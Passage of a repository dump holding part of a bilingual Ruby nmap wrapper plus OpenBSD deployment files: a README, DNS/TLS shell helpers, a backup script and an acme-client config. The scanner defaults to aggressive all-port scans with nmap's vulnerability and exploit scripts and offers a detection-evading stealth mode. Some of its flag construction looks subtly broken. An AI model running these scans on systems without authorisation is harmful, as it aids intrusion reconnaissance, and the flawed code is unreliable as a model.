vuln scripts, fast\",\n\n    debug_attack_normal: \"Normal mode: No changes\",\n\n    debug_attack_stealth: \"Stealth mode: Slow, evades detection\",\n\n    debug_attack_aggressive: \"Aggressive mode: OS detection, max detail\",\n\n    debug_args: -&gt;(args) { \"nmap args: #{args}\" },\n\n    debug_scan_start: \"Starting scan...\",\n\n    debug_scan_duration: -&gt;(duration) { \"Scan done in #{duration} seconds\" },\n\n    debug_parse_xml: \"Parsing XML...\",\n\n    debug_hosts_found: -&gt;(count) { \"Found #{count} host\" },\n\n    debug_host: -&gt;(ip, status) { \"Host: #{ip} (#{status})\" },\n\n    debug_port: -&gt;(number, protocol, service, version) { \"Open port: #{number}/#{protocol} (#{service}#{version})\" },\n\n    debug_vuln_check: \"Checking vulnerabilities...\",\n\n    debug_vuln_found: -&gt;(port, id, cves) { \"Vulnerabilities on port #{port}: #{id}, #{cves}\" },\n\n    debug_cleanup: -&gt;(path) { \"Cleaning up: #{path}\" },\n\n    debug_cleanup_done: \"Temp file removed\"\n\n  },\n\n  \"norwegian\" =&gt; {\n\n    title: \"Nettverkssikkerhetsskanner\",\n\n    prompt_target: \"M\u00e5l (IP/vertsnavn)\",\n\n    no_target: \"Feil: Ingen m\u00e5l spesifisert\",\n\n    invalid_target: \"Feil: Ugyldig m\u00e5lformat\",\n\n    severity_title: \"Alvorlighetsniv\u00e5er\",\n\n    severity_low: \"Lav: Enkel portskanning (100 porter, sakte)\",\n\n    severity_medium: \"Middels: Tjenestedeteksjon (1000 porter)\",\n\n    severity_high: \"H\u00f8y: OS-deteksjon, standardskripter\",\n\n    severity_critical: \"Kritisk: S\u00e5rbarhets-/utnyttelsesdeteksjon\",\n\n    prompt_severity: \"Alvorlighet [Lav/Middels/H\u00f8y/Kritisk]\",\n\n    invalid_severity: \"Feil: Ugyldig alvorlighet\",\n\n    attack_title: \"Angrepstyper\",\n\n    attack_normal: \"Normal: Standard skanning\",\n\n    attack_stealth: \"Snik: Sakte, unng\u00e5r deteksjon\",\n\n    attack_aggressive: \"Aggressiv: Rask, maksimal informasjon\",\n\n    prompt_attack: \"Angrepstype [Normal/Snik/Aggressiv]\",\n\n    invalid_attack: \"Feil: Ugyldig angrepstype\",\n\n    scanning: -&gt;(target) { \"Skanner #{target}\" },\n\n    scanning_with: -&gt;(target, severity, attack_type) { \"Skanner #{target} (Alvorlighet: #{severity}, Type: #{attack_type})\" },\n\n    warning_critical: -&gt;(target) { \"Advarsel: Full skanning oppdager s\u00e5rbarheter. S\u00f8rg for tillatelse til \u00e5 skanne #{target}.\" },\n\n    no_hosts: \"Ingen verter funnet\",\n\n    host: -&gt;(ip, status) { \"Vert: #{ip} (#{status})\" },\n\n    port: -&gt;(number, protocol, service, version) { \"  Port: #{number}/#{protocol} #{service}#{version}\" },\n\n    vuln: -&gt;(id, cves) { \"  S\u00e5rbarhet: #{id} #{cves}\" },\n\n    scan_completed: -&gt;(duration) { \"Skanning fullf\u00f8rt p\u00e5 #{duration} sekunder\" },\n\n    no_nmap: \"Feil: nmap ikke funnet. Installer det (OpenBSD: doas pkg_add nmap; Cygwin: apt-cyg install nmap; Termux: pkg install nmap)\",\n\n    nmap_failed: -&gt;(msg) { \"Feil: nmap mislyktes: #{msg}\" },\n\n    unexpected_error: -&gt;(msg) { \"Feil: Uventet feil: #{msg}\" },\n\n    debug_validating_target: -&gt;(target) { \"Validerer m\u00e5l: #{target}\" },\n\n    debug_nmap_check: \"Sjekker nmap...\",\n\n    debug_nmap_found: \"nmap funnet\",\n\n    debug_doas_check: \"Sjekker doas...\",\n\n    debug_doas_found: \"doas funnet\",\n\n    debug_doas_missing: \"doas ikke funnet; full skanning kan v\u00e6re begrenset\",\n\n    debug_temp_file: -&gt;(path) { \"Created temp file: #{path}\" },\n\n    debug_severity_low: \"Lav alvorlighet: SYN, topp 100 porter, sakte\",\n\n    debug_severity_medium: \"Middels alvorlighet: SYN, tjenestedeteksjon, topp 1000 porter, rask\",\n\n    debug_severity_high: \"H\u00f8y alvorlighet: SYN, tjeneste/OS, standardskripter, raskere\",\n\n    debug_severity_critical: \"Full skanning: SYN, alle porter, tjeneste/OS, s\u00e5rbarhetsskripter, rask\",\n\n    debug_attack_normal: \"Normal modus: Ingen endringer\",\n\n    debug_attack_stealth: \"Snikmodus: Sakte, unng\u00e5r deteksjon\",\n\n    debug_attack_aggressive: \"Aggressiv modus: OS-deteksjon, maks detalj\",\n\n    debug_args: -&gt;(args) { \"nmap-argumenter: #{args}\" },\n\n    debug_scan_start: \"Starter skanning...\",\n\n    debug_scan_duration: -&gt;(duration) { \"Skanning ferdig p\u00e5 #{duration} sekunder\" },\n\n    debug_parse_xml: \"Parser XML...\",\n\n    debug_hosts_found: -&gt;(count) { \"Fant #{count} vert\" },\n\n    debug_host: -&gt;(ip, status) { \"Vert: #{ip} (#{status})\" },\n\n    debug_port: -&gt;(number, protocol, service, version) { \"\u00c5pen port: #{number}/#{protocol} (#{service}#{version})\" },\n\n    debug_vuln_check: \"Sjekker s\u00e5rbarheter...\",\n\n    debug_vuln_found: -&gt;(port, id, cves) { \"S\u00e5rbarheter p\u00e5 port #{port}: #{id}, #{cves}\" },\n\n    debug_cleanup: -&gt;(path) { \"Rydder opp: #{path}\" },\n\n    debug_cleanup_done: \"Temp fil fjernet\"\n\n  }\n\n}\n\n# Validate language\n# Why: Ensures valid language choice\n\nunless TRANSLATIONS.key?($lang)\n\n  log \"Invalid language. Use --lang=english or --lang=norwegian\", \"validate\", \"error\"\n\n  abort \"Error: Invalid language. Use --lang=english or --lang=norwegian\"\n\nend\n\nT = TRANSLATIONS[$lang]\n\n# Prompt for input\n# Why: Gets user input like IP address\n\ndef prompt(msg)\n\n  print \"#{msg}: \"\n\n  gets.chomp\n\nend\n\n# Validate target\n# Why: Ensures address is valid\n\ndef valid_target?(target)\n\n  target =~ /^(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|(?:[a-zA-Z0-9-]+\\.)*[a-zA-Z0-9-]+)$/\n\nend\n\n# Check dependencies\n# Why: Confirms nmap and doas availability\n\ndef check_requirements\n\n  log T[:debug_nmap_check], \"validate\", \"info\"\n\n  unless system(\"which nmap &gt; /dev/null 2&gt;&amp;1\")\n\n    log T[:no_nmap], \"validate\", \"error\"\n\n    abort T[:no_nmap]\n\n  end\n\n  log T[:debug_nmap_found], \"validate\", \"info\"\n\n  if RUBY_PLATFORM.include?(\"openbsd\")\n\n    log T[:debug_doas_check], \"validate\", \"info\"\n\n    if system(\"which doas &gt; /dev/null 2&gt;&amp;1\")\n\n      log T[:debug_doas_found], \"validate\", \"info\"\n\n    else\n\n      log T[:debug_doas_missing], \"validate\", \"warning\"\n\n    end\n\n  end\n\nend\n\n# Perform scan\n# Why: Scans for open ports, services, vulnerabilities\n\ndef scan(target, severity, attack_type)\n\n  log T[:debug_validating_target].call(target), \"validate\", \"info\"\n\n  unless valid_target?(target)\n\n    log T[:invalid_target], \"validate\", \"error\"\n\n    abort T[:invalid_target]\n\n  end\n\n  check_requirements\n\n  # Setup temp file\n  xml = Tempfile.new([\"nmap\", \".xml\"])\n\n  log T[:debug_temp_file].call(xml.path), \"setup\", \"info\"\n\n  # Build scan arguments\n  args = { output_xml: xml.path, targets: target }\n\n  if $prompt\n\n    case severity\n\n    when \"low\"\n\n      log T[:debug_severity_low], \"setup\", \"info\"\n\n      args.merge!(syn_scan: true, top_ports: 100, timing_template: 2)\n\n    when \"medium\"\n\n      log T[:debug_severity_medium], \"setup\", \"info\"\n\n      args.merge!(syn_scan: true, service_scan: true, top_ports: 1000, timing_template: 3)\n\n    when \"high\"\n\n      log T[:debug_severity_high], \"setup\", \"info\"\n\n      args.merge!(syn_scan: true, service_scan: true, os_fingerprint: true, script: \"default\", timing_template: 4)\n\n    when \"critical\"\n\n      puts T[:warning_critical].call(target)\n\n      log T[:debug_severity_critical], \"setup\", \"info\"\n\n      args.merge!(syn_scan: true, ports: \"1-65535\", service_scan: true, os_fingerprint: true, script: \"vuln,exploit\", timing_template: 4)\n\n    else\n\n      log T[:invalid_severity], \"validate\", \"error\"\n\n      abort T[:invalid_severity]\n\n    end\n\n    case attack_type\n\n    when \"stealth\"\n\n      log T[:debug_attack_stealth], \"setup\", \"info\"\n\n      args[:timing_template] = 1\n\n    when \"aggressive\"\n\n      log T[:debug_attack_aggressive], \"setup\", \"info\"\n\n      args.merge!(os_fingerprint: true, version_intensity: 9)\n\n    when \"normal\"\n\n      log T[:debug_attack_normal], \"setup\", \"info\"\n\n    else\n\n      log T[:invalid_attack], \"validate\", \"error\"\n\n      abort T[:invalid_attack]\n\n    end\n\n  else\n\n    puts T[:warning_critical].call(target)\n\n    log T[:debug_severity_critical], \"setup\", \"info\"\n\n    args.merge!(syn_scan: true, ports: \"1-65535\", service_scan: true, os_fingerprint: true, script: \"vuln,exploit\", timing_template: 4, version_intensity: 9)\n\n  end\n\n  log T[:debug_args].call(args.inspect), \"setup\", \"info\"\n  # Run scan\n  begin\n\n    puts $prompt ? T[:scanning_with].call(target, severity.capitalize, attack_type.capitalize) : T[:scanning].call(target)\n\n    log T[:debug_scan_start], \"scan\", \"info\"\n\n    start = Time.now\n\n    use_doas = (severity == \"high\" || severity == \"critical\" || !$prompt) &amp;&amp; RUBY_PLATFORM.include?(\"openbsd\")\n\n    if use_doas &amp;&amp; system(\"which doas &gt; /dev/null 2&gt;&amp;1\")\n\n      log T[:debug_doas_found], \"scan\", \"info\"\n\n      system(\"doas nmap #{args.map { |k, v| \"--#{k.to_s.gsub('_', '-')}=#{v}\" }.join(\" \")} &gt;/dev/null 2&gt;&amp;1\")\n\n    else\n\n      log T[:debug_doas_missing], \"scan\", \"warning\" if use_doas\n\n      system(\"nmap #{args.map { |k, v| \"--#{k.to_s.gsub('_', '-')}=#{v}\" }.join(\" \")} &gt;/dev/null 2&gt;&amp;1\")\n\n    end\n\n    unless $?.success?\n\n      log T[:nmap_failed].call(\"non-zero exit status\"), \"scan\", \"error\"\n\n      abort T[:nmap_failed].call(\"non-zero exit status\")\n\n    end\n\n    duration = (Time.now - start).round(1)\n\n    log T[:debug_scan_duration].call(duration), \"scan\", \"info\"\n\n    # Parse results\n    log T[:debug_parse_xml], \"parse\", \"info\"\n\n    unless File.exist?(xml.path) &amp;&amp; File.size?(xml.path)\n\n      log T[:no_results], \"parse\", \"error\"\n\n      abort T[:no_results]\n\n    end\n\n    Nmap::XML.open(xml.path) do |x|\n\n      log T[:debug_hosts_found].call(x.hosts.size), \"parse\", \"info\"\n\n      if x.hosts.empty?\n\n        puts T[:no_hosts]\n\n        return\n\n      end\n\n      x.each_host do |h|\n\n        log T[:debug_host].call(h.ip, h.status), \"parse\", \"info\"\n\n        puts T[:host].call(h.ip, h.status.capitalize)\n\n        h.each_open_port do |p|\n\n          svc = p.service.name || (T == TRANSLATIONS[\"english\"] ? \"Unknown\" : \"Ukjent\")\n\n          ver = p.service.version ? \" #{p.service.version}\" : \"\"\n\n          log T[:debug_port].call(p.number, p.protocol, svc, ver), \"parse\", \"info\"\n\n          puts T[:port].call(p.number, p.protocol, svc, ver)\n\n        end\n\n        if severity == \"critical\" || !$prompt\n\n          log T[:debug_vuln_check], \"parse\", \"info\"\n\n          h.each_port do |p|\n\n            p.scripts.each do |id, s|\n\n              cves = s.output.scan(/CVE-\\d{4}-\\d+/).uniq\n\n              if cves.any?\n\n                log T[:debug_vuln_found].call(p.number, id, cves.join(\", \")), \"parse\", \"info\"\n\n                puts T[:vuln].call(id, cves.join(\" \"))\n\n              end\n\n            end\n\n          end\n\n        end\n\n      end\n\n    end\n\n    puts T[:scan_completed].call(duration)\n\n  # Cleanup\n  rescue StandardError =&gt; e\n\n    log T[:unexpected_error].call(e.message), \"error\", \"error\"\n\n    abort T[:unexpected_error].call(e.message)\n\n  ensure\n\n    log T[:debug_cleanup].call(xml.path), \"cleanup\", \"info\"\n\n    xml.unlink if File.exist?(xml.path)\n\n    log T[:debug_cleanup_done], \"cleanup\", \"info\"\n\n  end\n\nend\n\n# Main script\n# Why: Gets target and runs scan\n\nif ARGV.include?(\"--help\")\n\n  puts &lt;&lt;~HELP\n\n    #{T[:title]}\n\n    Usage: ruby nmap.rb [--help | --verbose | --lang=english|norwegian | --prompt]\n\n    Options:\n\n      --help            #{T == TRANSLATIONS[\"english\"] ? \"Show this help\" : \"Vis denne hjelpen\"}\n\n      --verbose         #{T == TRANSLATIONS[\"english\"] ? \"Enable debug output\" : \"Aktiver feils\u00f8kingsutdata\"}\n\n      --lang=english|norwegian  #{T == TRANSLATIONS[\"english\"] ? \"Set language\" : \"Sett spr\u00e5k\"}\n\n      --prompt          #{T == TRANSLATIONS[\"english\"] ? \"Prompt for severity and attack type\" : \"Sp\u00f8r om alvorlighet og angrepstype\"}\n\n    Prompts (with --prompt):\n\n      #{T[:prompt_target]}: #{T == TRANSLATIONS[\"english\"] ? \"e.g., 127.0.0.1 or scanme.nmap.org\" : \"f.eks., 127.0.0.1 eller scanme.nmap.org\"}\n\n      #{T[:prompt_severity]}\n\n      #{T[:prompt_attack]}\n\n    Default: Full scan (all ports, service/OS detection, vulnerabilities, aggressive)\n\n    Requirements:\n\n      - nmap (OpenBSD: doas pkg_add nmap; Cygwin: apt-cyg install nmap; Termux: pkg install nmap)\n\n      - ruby-nmap gem (gem install ruby-nmap)\n\n    #{T == TRANSLATIONS[\"english\"] ? \"Note: Ensure permission to scan target.\" : \"Merknad: S\u00f8rg for tillatelse til \u00e5 skanne m\u00e5let.\"}\n\n  HELP\n\n  exit\n\nend\n\nputs T[:title]\ntarget = prompt(T[:prompt_target])\n\nif target.empty?\n\n  log T[:no_target], \"validate\", \"error\"\n\n  abort T[:no_target]\n\nend\n\n# Optional prompts\nif $prompt\n\n  puts T[:severity_title]\n\n  puts \"  #{T[:severity_low]}\"\n\n  puts \"  #{T[:severity_medium]}\"\n\n  puts \"  #{T[:severity_high]}\"\n\n  puts \"  #{T[:severity_critical]}\"\n\n  severity = prompt(T[:prompt_severity]).downcase\n\n  severity = \"medium\" if severity.empty?\n\n  unless %w[low medium high critical].include?(severity)\n\n    log T[:invalid_severity], \"validate\", \"error\"\n\n    abort T[:invalid_severity]\n\n  end\n\n  puts T[:attack_title]\n\n  puts \"  #{T[:attack_normal]}\"\n\n  puts \"  #{T[:attack_stealth]}\"\n\n  puts \"  #{T[:attack_aggressive]}\"\n\n  attack_type = prompt(T[:prompt_attack]).downcase\n\n  attack_type = \"normal\" if attack_type.empty?\n\n  unless %w[normal stealth aggressive].include?(attack_type)\n\n    log T[:invalid_attack], \"validate\", \"error\"\n\n    abort T[:invalid_attack]\n\n  end\n\nelse\n\n  severity = \"critical\"\n\n  attack_type = \"aggressive\"\n\nend\n\n# Run scan\nscan(target, severity, attack_type)\n\n```\n\n## `openbsd/README.md`\n```markdown\n# OpenBSD Deploy\n\nFull VPS stack deploy for OpenBSD 7.8 at `46.23.89.226`.\n\n## Run\n\n```zsh\ncd ~/pub4/DEPLOY/openbsd\ntmux new-session -d -s deploy \"doas zsh openbsd.sh 2&gt;&amp;1 | tee /tmp/deploy.log\"\ntmux attach -t deploy\n```\n\nResume after interruption:\n\n```zsh\ndoas zsh openbsd.sh --resume\n```\n\n## What it deploys\n\n### Stage 1 \u2014 DNS, TLS, packages\n\n- validates OpenBSD interface and disk space\n- installs base deploy packages\n- configures minimal PF for bootstrap\n- configures NSD authoritative DNS\n- signs zones with DNSSEC\n- configures httpd for ACME challenges\n- requests certificates with `acme-client`\n- writes TLSA records\n- installs certificate-renewal cron\n\n### Stage 2 \u2014 application services\n\n- installs Rails app trees from `DEPLOY/rails/*`\n- configures app rc.d services\n- configures relayd TLS termination\n- configures httpd static/ACME serving\n- configures smtpd\n- loads final PF rules\n- verifies service health\n\n### Dev terminal environment (for operator `dev` user)\n\n- terminal packages: zsh fish neovim tmux fontconfig fzf ripgrep fd\n- enriched /home/dev/.zshrc (Starship if present, nvim editor, quality aliases, brgen helper)\n- enables the rich local dev experience (Nerd Fonts, modern prompt, Neovim) on the VPS itself for tmux sessions and non-CLI work\n\n## Boundary rules\n\n- Public ingress should be limited to SSH, SMTP, HTTP, and HTTPS.\n- Raw Rails/Falcon/internal ports should stay behind relayd or loopback bindings.\n- PostgreSQL and Redis are not part of this deploy path unless explicitly reintroduced.\n- Secrets must come from environment, local root-owned files, or operator input, never committed docs.\n- Certificate renewal must be idempotent and must not append duplicate TLSA records.\n\n## Checks\n\nAfter deploy:\n\n```zsh\ndoas rcctl check master\ndoas pfctl -s rules\ncurl -sk https://ai.brgen.no/chat/metrics\n```\n\nInspect logs:\n\n```zsh\ndoas tail -f /var/log/openbsd_setup.log\ndoas tail -f /var/log/openbsd_transactions.log\ndoas tail -f /var/log/cert-renewal.log\n```\n\n## MASTER sweep notes\n\n`DEPLOY/` is high-risk infrastructure code. Run it through MASTER with deploy policy enabled before changing live systems:\n\n```zsh\nbundle exec ruby exe/master /scan DEPLOY\nbundle exec ruby exe/master /sweep DEPLOY\n```\n\nReject any change that:\n\n- opens raw app ports publicly\n- makes destructive filesystem changes without backup\n- weakens PF, relayd, httpd, smtpd, or NSD validation\n- stores credentials in repository files\n- removes idempotence from cron, DNS, TLS, or rc.d setup\n```\n\n## `openbsd/_net.sh`\n```bash\n#!/usr/bin/env zsh\nset -euo pipefail\n\n# DNS, NSD, DNSSEC, and cert utilities.\n\nvalidate_ip() {\n  typeset ip=$1\n  [[ $ip =~ '^([0-9]{1,3}\\.){3}[0-9]{1,3}$' ]] || return 1\n  typeset -a octets; octets=(${(s:.:)ip})\n  for octet in $octets; do (( octet &gt; 255 )) &amp;&amp; return 1; done\n  return 0\n}\n\ngenerate_random_port() {\n  typeset port\n  while :; do\n    port=$((RANDOM % 50000 + 10000))\n    typeset _out; _out=$(/usr/bin/netstat -an)\n    [[ $_out != *\".$port \"* ]] &amp;&amp; echo $port &amp;&amp; break\n  done\n}\n\ncleanup_nsd() {\n  log INFO \"Cleaning nsd(8)\"\n  [[ -d /var/nsd ]] || { log ERROR \"/var/nsd missing\"; exit 1 }\n  /usr/bin/timeout 5 /usr/sbin/rcctl stop nsd || log WARN \"/usr/sbin/rcctl stop nsd failed\"\n  /usr/bin/timeout 5 zap -f nsd || log WARN \"zap -f nsd failed\"\n  sleep 2\n  typeset _out; _out=$(/usr/bin/netstat -an -p udp)\n  [[ $_out == *\"$BRGEN_IP.53\"* ]] &amp;&amp; { log ERROR \"Port 53 in use\"; exit 1 }\n  log INFO \"Port 53 free\"\n}\n\nverify_nsd() {\n  log INFO \"Verifying nsd(8) for all domains\"\n  for domain in ${ALL_DOMAINS[*]%%:*}; do\n    typeset dig_a=${$(/usr/bin/dig @\"$BRGEN_IP\" \"$domain\" A +short):-}\n    [[ -z $dig_a || $dig_a != $BRGEN_IP ]] &amp;&amp; {\n      log WARN \"nsd(8) A record missing or wrong for $domain (got: ${dig_a:-empty})\"\n      continue\n    }\n    typeset dig_dnskey=${$(/usr/bin/dig @\"$BRGEN_IP\" \"$domain\" DNSKEY +short):-}\n    [[ -z $dig_dnskey ]] &amp;&amp; { log WARN \"DNSSEC not enabled for $domain\"; continue }\n  done\n  log INFO \"nsd(8) verification complete\"\n}\n\ncheck_dns_propagation() {\n  log INFO \"Checking DNS propagation\"\n  for resolver in $PUBLIC_RESOLVERS; do\n    typeset _soa; _soa=$(/usr/bin/dig @$resolver brgen.no SOA +short)\n    [[ $_soa == *\"ns.brgen.no.\"* ]] &amp;&amp; { log INFO \"DNS propagation verified via $resolver\"; return 0 }\n  done\n  log ERROR \"DNS propagation incomplete. Check glue records.\"\n  exit 1\n}\n\ngenerate_tlsa_record() {\n  typeset domain=$1\n  typeset cert=/etc/ssl/$domain.fullchain.pem\n  typeset zonefile=/var/nsd/zones/master/$domain.zone\n  [[ ! -f $cert ]] &amp;&amp; { log WARN \"Certificate for $domain not found\"; return 1 }\n  typeset _raw; _raw=$(openssl x509 -noout -pubkey -in \"$cert\" | openssl pkey -pubin -outform der 2&gt;/dev/null | openssl dgst -sha256 2&gt;/dev/null)\n  typeset tlsa_record=${${(z)_raw}[2]:-}\n  (( ! $#tlsa_record )) &amp;&amp; { log ERROR \"TLSA generation failed for $domain\"; exit 1 }\n  print -r -- \"_443._tcp.$domain. IN TLSA 3 1 1 $tlsa_record\" &gt;&gt; \"$zonefile\"\n  sign_zone \"$domain\"\n  log INFO \"TLSA updated for $domain\"\n}\n\nsign_zone() {\n  typeset domain=$1\n  typeset zonefile=/var/nsd/zones/master/$domain.zone\n  typeset signed_zonefile=/var/nsd/zones/master/$domain.zone.signed\n  typeset zsk=/var/nsd/zones/master/K$domain.+013+zsk.key\n  typeset ksk=/var/nsd/zones/master/K$domain.+013+ksk.key\n  [[ -f $zsk &amp;&amp; -f $ksk ]] || { log ERROR \"ZSK or KSK missing for $domain\"; exit 1 }\n  ldns-signzone -n -p -s $(dd if=/dev/random bs=16 count=1 2&gt;/dev/null | sha1 -q) \"$zonefile\" \"$zsk\" \"$ksk\"\n  nsd-checkzone \"$domain\" \"$signed_zonefile\" || { log ERROR \"Signed zone invalid for $domain\"; exit 1 }\n  nsd-control reload\n}\n\nretry_failed_certs() {\n  log INFO \"Retrying failed certificates\"\n  for domain in ${(k)FAILED_CERTS}; do\n    typeset dns_check=${$(/usr/bin/dig @\"$BRGEN_IP\" \"$domain\" A +short):-}\n    [[ $dns_check != $BRGEN_IP ]] &amp;&amp; { log WARN \"DNS for $domain failed\"; continue }\n    print -r -- \"retry_$domain\" &gt; \"/var/www/acme/retry_$domain\"\n    typeset http_status=${$(curl -s -o /dev/null -w \"%{http_code}\" -H \"Host: $domain\" \"http://$BRGEN_IP/.well-known/acme-challenge/retry_$domain\"):-000}\n    rm -f \"/var/www/acme/retry_$domain\"\n    [[ $http_status != 200 ]] &amp;&amp; { log WARN \"HTTP test for $domain failed\"; continue }\n    if acme-client -v -f /etc/acme-client.conf \"$domain\"; then\n      unset FAILED_CERTS[$domain]\n      generate_tlsa_record \"$domain\"\n    else\n      log WARN \"Retry failed for $domain\"\n    fi\n  done\n}\n```\n\n## `openbsd/backup_priv.sh`\n```bash\n#!/usr/bin/env zsh\n# Backs up ~/priv/ to OpenBSD Amsterdam wingman1 backup server.\n# Run on VPS as dev@46.23.89.226.\n# Backup host: s4vm23@wingman1.openbsd.amsterdam (same SSH key, auto-provisioned)\n\nset -euo pipefail\n\ntypeset backup_host=\"s4vm23@wingman1.openbsd.amsterdam\"\ntypeset stamp=$(date +%Y%m%d_%H%M%S)\ntypeset enc_file=\"/tmp/priv_${stamp}.tar.enc\"\n\n[[ -d ~/priv ]] || { print \"~/priv does not exist\"; exit 1 }\n\n# Create encrypted archive using LibreSSL (OpenBSD openssl).\n# -pbkdf2 uses PBKDF2 key derivation \u2014 required on LibreSSL 3.x.\n# Passphrase entered interactively; never passed as argument.\nprint \"Encrypting ~/priv/ \u2026\"\ntar -czf - -C ~ priv | openssl enc -aes-256-cbc -pbkdf2 -out \"$enc_file\"\n\nprint \"Uploading to $backup_host \u2026\"\nopenrsync -ae ssh \"$enc_file\" \"${backup_host}:backup/\"\n\n# Verify upload\ntypeset remote_size\nremote_size=$(ssh \"$backup_host\" \"wc -c &lt; backup/$(basename $enc_file)\")\ntypeset local_size\nlocal_size=$(wc -c &lt; \"$enc_file\")\n[[ $remote_size -eq $local_size ]] || { print \"Size mismatch \u2014 verify manually\"; exit 1 }\n\nrm -f \"$enc_file\"\nprint \"Done. priv_${stamp}.tar.enc on wingman1 (${local_size} bytes).\"\nprint \"Decrypt: openssl enc -d -aes-256-cbc -pbkdf2 -in priv_DATE.tar.enc | tar -xzf -\"\n```\n\n## `openbsd/etc/acme-client.conf`\n```text\n# acme-client(1) per acme-client.conf(5)\n\nauthority letsencrypt {\n  api url \"https://acme-v02.api.letsencrypt.org/directory\"\n  account key \"/etc/acme/letsencrypt_privkey.pem\"\n}\ndomain \"brgen.no\" {\n  alternative names { \"brgen.no\" \"markedsplass.brgen.no\" \"playlist.brgen.no\" \"dating.brgen.no\" \"tv.brgen.no\" \"takeaway.brgen.no\" \"maps.brgen.no\" \"ai.brgen.no\" \"hjerterom.brgen.no\" }\n  domain key \"/etc/ssl/private/brgen.no.key\"\n  domain full chain certificate \"/etc/ssl/brgen.no.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"longyearbyn.no\" {\n  alternative names { \"longyearbyn.no\" \"markedsplass.longyearbyn.no\" \"playlist.longyearbyn.no\" \"dating.longyearbyn.no\" \"tv.longyearbyn.no\" \"takeaway.longyearbyn.no\" \"maps.longyearbyn.no\" }\n  domain key \"/etc/ssl/private/longyearbyn.no.key\"\n  domain full chain certificate \"/etc/ssl/longyearbyn.no.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"oshlo.no\" {\n  alternative names { \"oshlo.no\" \"markedsplass.oshlo.no\" \"playlist.oshlo.no\" \"dating.oshlo.no\" \"tv.oshlo.no\" \"takeaway.oshlo.no\" \"maps.oshlo.no\" }\n  domain key \"/etc/ssl/private/oshlo.no.key\"\n  domain full chain certificate \"/etc/ssl/oshlo.no.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"stvanger.no\" {\n  alternative names { \"stvanger.no\" \"markedsplass.stvanger.no\" \"playlist.stvanger.no\" \"dating.stvanger.no\" \"tv.stvanger.no\" \"takeaway.stvanger.no\" \"maps.stvanger.no\" }\n  domain key \"/etc/ssl/private/stvanger.no.key\"\n  domain full chain certificate \"/etc/ssl/stvanger.no.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"trmso.no\" {\n  alternative names { \"trmso.no\" \"markedsplass.trmso.no\" \"playlist.trmso.no\" \"dating.trmso.no\" \"tv.trmso.no\" \"takeaway.trmso.no\" \"maps.trmso.no\" }\n  domain key \"/etc/ssl/private/trmso.no.key\"\n  domain full chain certificate \"/etc/ssl/trmso.no.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"trndheim.no\" {\n  alternative names { \"trndheim.no\" \"markedsplass.trndheim.no\" \"playlist.trndheim.no\" \"dating.trndheim.no\" \"tv.trndheim.no\" \"takeaway.trndheim.no\" \"maps.trndheim.no\" }\n  domain key \"/etc/ssl/private/trndheim.no.key\"\n  domain full chain certificate \"/etc/ssl/trndheim.no.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"reykjavk.is\" {\n  alternative names { \"reykjavk.is\" \"markadur.reykjavk.is\" \"playlist.reykjavk.is\" \"dating.reykjavk.is\" \"tv.reykjavk.is\" \"takeaway.reykjavk.is\" \"maps.reykjavk.is\" }\n  domain key \"/etc/ssl/private/reykjavk.is.key\"\n  domain full chain certificate \"/etc/ssl/reykjavk.is.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"kbenhvn.dk\" {\n  alternative names { \"kbenhvn.dk\" \"markedsplads.kbenhvn.dk\" \"playlist.kbenhvn.dk\" \"dating.kbenhvn.dk\" \"tv.kbenhvn.dk\" \"takeaway.kbenhvn.dk\" \"maps.kbenhvn.dk\" }\n  domain key \"/etc/ssl/private/kbenhvn.dk.key\"\n  domain full chain certificate \"/etc/ssl/kbenhvn.dk.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"gtebrg.se\" {\n  alternative names { \"gtebrg.se\" \"marknadsplats.gtebrg.se\" \"playlist.gtebrg.se\" \"dating.gtebrg.se\" \"tv.gtebrg.se\" \"takeaway.gtebrg.se\" \"maps.gtebrg.se\" }\n  domain key \"/etc/ssl/private/gtebrg.se.key\"\n  domain full chain certificate \"/etc/ssl/gtebrg.se.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"mlmoe.se\" {\n  alternative names { \"mlmoe.se\" \"marknadsplats.mlmoe.se\" \"playlist.mlmoe.se\" \"dating.mlmoe.se\" \"tv.mlmoe.se\" \"takeaway.mlmoe.se\" \"maps.mlmoe.se\" }\n  domain key \"/etc/ssl/private/mlmoe.se.key\"\n  domain full chain certificate \"/etc/ssl/mlmoe.se.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"stholm.se\" {\n  alternative names { \"stholm.se\" \"marknadsplats.stholm.se\" \"playlist.stholm.se\" \"dating.stholm.se\" \"tv.stholm.se\" \"takeaway.stholm.se\" \"maps.stholm.se\" }\n  domain key \"/etc/ssl/private/stholm.se.key\"\n  domain full chain certificate \"/etc/ssl/stholm.se.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"hlsinki.fi\" {\n  alternative names { \"hlsinki.fi\" \"markkinapaikka.hlsinki.fi\" \"playlist.hlsinki.fi\" \"dating.hlsinki.fi\" \"tv.hlsinki.fi\" \"takeaway.hlsinki.fi\" \"maps.hlsinki.fi\" }\n  domain key \"/etc/ssl/private/hlsinki.fi.key\"\n  domain full chain certificate \"/etc/ssl/hlsinki.fi.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"brmingham.uk\" {\n  alternative names { \"brmingham.uk\" \"marketplace.brmingham.uk\" \"playlist.brmingham.uk\" \"dating.brmingham.uk\" \"tv.brmingham.uk\" \"takeaway.brmingham.uk\" \"maps.brmingham.uk\" }\n  domain key \"/etc/ssl/private/brmingham.uk.key\"\n  domain full chain certificate \"/etc/ssl/brmingham.uk.fullchain.pem\"\n  sign with letsencrypt\n  challengedir 